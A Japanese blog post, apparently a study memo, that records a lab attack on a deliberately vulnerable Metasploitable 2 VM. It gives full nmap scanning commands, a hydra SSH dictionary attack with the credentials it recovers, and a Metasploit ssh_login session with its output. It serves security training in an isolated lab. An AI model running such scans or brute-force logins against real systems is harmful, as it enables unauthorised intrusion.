1. はじめに
仕事で脆弱性スキャンをすることになりそうなので、仮想環境で練習しようと考えた。幸い、以前の記事で構築した KVM 環境があるので、これを利用しようと思う。今回は、Metasploitable 2 に対してポートスキャンをして、攻撃するという流れを実施し、備忘録としてまとめようと思う。 [1-3] を参考にしている。
実際に攻撃するにあたって、以下のことに気を付ける。
- 攻撃を行う際は、自分と他人の環境に迷惑をかけないようにすること。
- 脆弱性のある環境を外部に公開しないこと。
2. 環境構築
ここでは、以前の記事の『Nessusを適用するための仮想環境の構築 - 立ち話』で構築した KVM 環境を活用したいと思う。
上図のように Kali Linux を仮想マシンとしてインストールして、2つのネットワークに接続している。
3. 攻撃 (SSHによる侵入)
ここでは、攻撃の例として、SSHによる侵入を考える。以下の手順で攻撃を行う。
- 攻撃端末で攻撃対象が接続しているサブネットに対して ping スキャンを行う。
- 攻撃端末で攻撃対象のホストに対してポートスキャンを行う。
- 攻撃端末で辞書式攻撃で SSH アカウントを解析する
- 攻撃端末で Metersploit module を使って攻撃対象にログインする
なお、ここでは攻撃端末と攻撃対象は以下のように設定している。
- 攻撃端末: Kali Linux
- 攻撃対象: Metasploitable2
ここでは、ホストOSから Kali Linux に対して SSH 接続して、SSH 接続したターミナルから操作することにする。
3.1 Ping スキャン
Ping スキャンとポートスキャンは、Nmap
というツールを使用する。ポートスキャンは、開いているポート番号 (稼働しているサービス) を特定するため、Ping スキャンはホストを発見するために行う。
nmap -sn [target specification]
今回は、[1], [2] を参考に以下のように実施した。
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ nmap -sn 192.168.100.0/24 > ping_scan_isolated ┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ cat ping_scan_isolated Starting Nmap 7.92 ( https://nmap.org ) at 2022-06-11 13:38 JST Nmap scan report for N14xZU (192.168.100.1) Host is up (0.0018s latency). Nmap scan report for 192.168.100.161 Host is up (0.0014s latency). Nmap scan report for kali.virtual_network (192.168.100.181) Host is up (0.0015s latency). Nmap done: 256 IP addresses (3 hosts up) scanned in 9.50 seconds
このスキャンの結果から、192.168.100.161
が攻撃対象の IP アドレスとわかる。
3.2 ポートスキャン
次に、192.168.100.161
の空いているポートを調べる。さらに、サービスのバージョンとOSの種類を特定する。
sudo nmap -sV -p- -O [IP address]
Nmapのオプション | 概要 |
---|---|
-p- |
1番から65535番までのポート番号を対象にする |
-sV |
ポートのサービスのバージョンを検出する |
-O |
ターゲットのOSを特定する |
今回は、以下のように実施した。
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ sudo nmap -sV -p- -O 192.168.100.161 > port_scan_metasploitable ┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ cat port_scan_metasploitable | grep ssh 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
スキャン結果を見ると複数のポートが空いていることが分かる。気になるのはいくつかあるが、今回は ssh
でログインできないかを確かめてみる。
3.3 辞書式攻撃によるSSHアカウントの解析
パスワードクラッカーの hydra を使用して、辞書式攻撃によりSSHアカウントを解析する [1]。
以下の user.lst
と pass.lst
を作成し、hydra
を用いて解析した。
解析結果は以下のようになった。
┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ hydra -L user.lst -P pass.lst -t 4 192.168.100.161 ssh > hydra_ssh ┌──(tcbn㉿kali)-[~/Documents/Study_attack/ssh_login] └─$ cat hydra_ssh Hydra v9.1 (c) 2020 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway). Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-06-11 14:00:57 [DATA] max 4 tasks per 1 server, overall 4 tasks, 80 login tries (l:8/p:10), ~20 tries per task [DATA] attacking ssh://192.168.100.161:22/ [22][ssh] host: 192.168.100.161 login: sys password: batman [22][ssh] host: 192.168.100.161 login: msfadmin password: msfadmin [22][ssh] host: 192.168.100.161 login: user password: user 1 of 1 target successfully completed, 3 valid passwords found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-06-11 14:01:24
ユーザ名とパスワードの組として、sys/batman
, msfadmin/msfadmin
, user/user
が得られる。
3.4 SSH でのログイン
攻撃端末から攻撃対象に対して、SSHを使用してログインを行う [3]。
ユーザ名とパスワードの組のファイル (user_pass.txt
) を作成し、Metersploit module で ssh_login
ができるものを使用する。今回は、auxiliary/scanner/ssh/ssh_login
を使用した。
msf6 > search ssh_login msf6 > use 0 msf6 auxiliary(scanner/ssh/ssh_login) > set RHOSTS 192.168.100.161 RHOSTS => 192.168.100.161 msf6 auxiliary(scanner/ssh/ssh_login) > set USERPASS_FILE /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt USERPASS_FILE => /home/tcbn/Documents/Study_attack/ssh_login/user_pass.txt msf6 auxiliary(scanner/ssh/ssh_login) > set VERBOSE false VERBOSE => false msf6 auxiliary(scanner/ssh/ssh_login) > run msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i
実際に入ってみる。
msf6 auxiliary(scanner/ssh/ssh_login) > sessions -i 1 [*] Starting interaction with 1... SSH msfadmin:msfadmin (192.168.100.161:22) uname -a Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux ip addr 1: lo: <LOOPBACK,UP,LOWER_UP> mtu 16436 qdisc noqueue link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo inet6 ::1/128 scope host valid_lft forever preferred_lft forever 2: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc pfifo_fast qlen 1000 link/ether 52:54:00:c2:34:d4 brd ff:ff:ff:ff:ff:ff inet 192.168.100.161/24 brd 192.168.100.255 scope global eth0 inet6 fe80::5054:ff:fec2:34d4/64 scope link valid_lft forever preferred_lft forever exit [*] 192.168.100.161 - Command shell session 1 closed. Reason: User exit
SSHでログインできて、msfadmin/msfadmin
の権限でコマンドを実行できていることが分かる。
画面が小さくて少しわかりにくいが、攻撃端末で攻撃対象に対してSSHログインしているときは、攻撃対象側の22番ポートは ESTABLISHED になっていることが分かる。
4. まとめ
脆弱性のある仮想マシン (Metasploitable2) に対してポートスキャンをして、Metersploit module を使用して攻撃 (侵入) を行ってみた。
もっとできることは多いと思うので、これから本を読んだり検索したりして色々試してみたいと思う。
References
[1] IPUSIRON、ハッキング・ラボのつくりかた 仮想環境におけるハッカー体験学習、翔泳社、2018
[2] 黒林檎、村島正浩、ハッカーの技術書、DATAHOUSE、2020
[3] Scanner SSH Auxiliary Modules - Metasploit Unleashed、閲覧日: 2022/6/11